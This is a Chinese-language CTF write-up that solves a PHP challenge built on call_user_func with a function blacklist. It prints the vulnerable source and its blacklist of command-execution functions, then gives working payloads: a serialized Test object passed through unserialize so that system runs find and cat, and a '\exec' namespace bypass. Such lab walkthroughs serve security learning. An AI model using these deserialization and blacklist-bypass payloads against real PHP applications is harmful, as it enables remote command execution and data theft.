打开环境,是一个非常优秀的图片,看一下源码,也没有发现,突然发现页面在自动刷新,就想到抓包一下:
发现有参数的传递,date是php中的函数,用来获取时间,看样子应该和执行漏洞有关,就想着用file_get_contents函数高亮显示一下index.php页面的源码,于是传参:
func=file_get_contents&p=index.php
得到源码:
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
里面很多新的函数,先看看用法:
call_user_func()一种调用函数的方法,把第一个参数作为回调函数调用,其余参数是回调函数的参数,通俗地说就是假设$a=var_dump,$b=abc,这种调用方法就相当于$a($b)
gettype()如字面意思说就是获取类型
strolower()把所有字符转换为小写
in_array()在数组中搜索值
开始定义了一个数组,数组中包括了几乎所有危险函数,设置了函数黑名单,经行过滤。
然后看后面,通过REQUEST方法传入func和p的值,如果func不为空,就用strolower函数将其转化为小写,接着用黑名单过滤,不在黑名单中就将参数传入gettime函数,并输出其结果。
再来看看gettime函数,用call_user_func()函数将$p作为$func的参数执行(充分说明func是要传入一个函数),然后用gettype函数获取$func传入的函数执行后的结果,并判断是否为字符串类型,是的话就输出$func传入的函数执行后的结果。
还有个Test类,用来传递时间
有两种想法:
第一种:Test
类并没有被调用,但在其析构函数中调用了gettime()
函数,serialize()
和unserialize()
函数不在黑名单中,所以使用反序列化方式不会运行黑名单效验,考虑将查看目录的代码包含在Test类里,然后在服务器端反序列化后运行,如同源码里的Test类一样,对其进行覆盖,即我们要创建该类的实例化对象,且属性的值对应函数和参数,然后把该对象序列化,再把这个序列化字符串当作参数,同时传入反序列化函数即可
构造:
<?php
class Test {
public $func;
public $p;
}
$tmp = new Test();
$tmp->func = "system";
$tmp->p = "ls";
echo serialize($tmp)
?>
得到序列化后的字符串:
O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}
查找flag开头文件:
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:18:"find / -name flag*";}
得到flag的路径:/tmp/flagoefiu4r93,使用cat命令读取flag:
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}
第二种:命名空间绕过黑名单,即直向func参数中传入黑名单中没有过滤或可以绕过的执行函数,经过尝试exec和system函数前面加上\可以绕过,就可以执行命令,可以构造
func=\exec&p=find / -name flag*
来寻找flag开头的文件,然后cat读取文件:
func=\exec&p=cat $(find / -name flag*)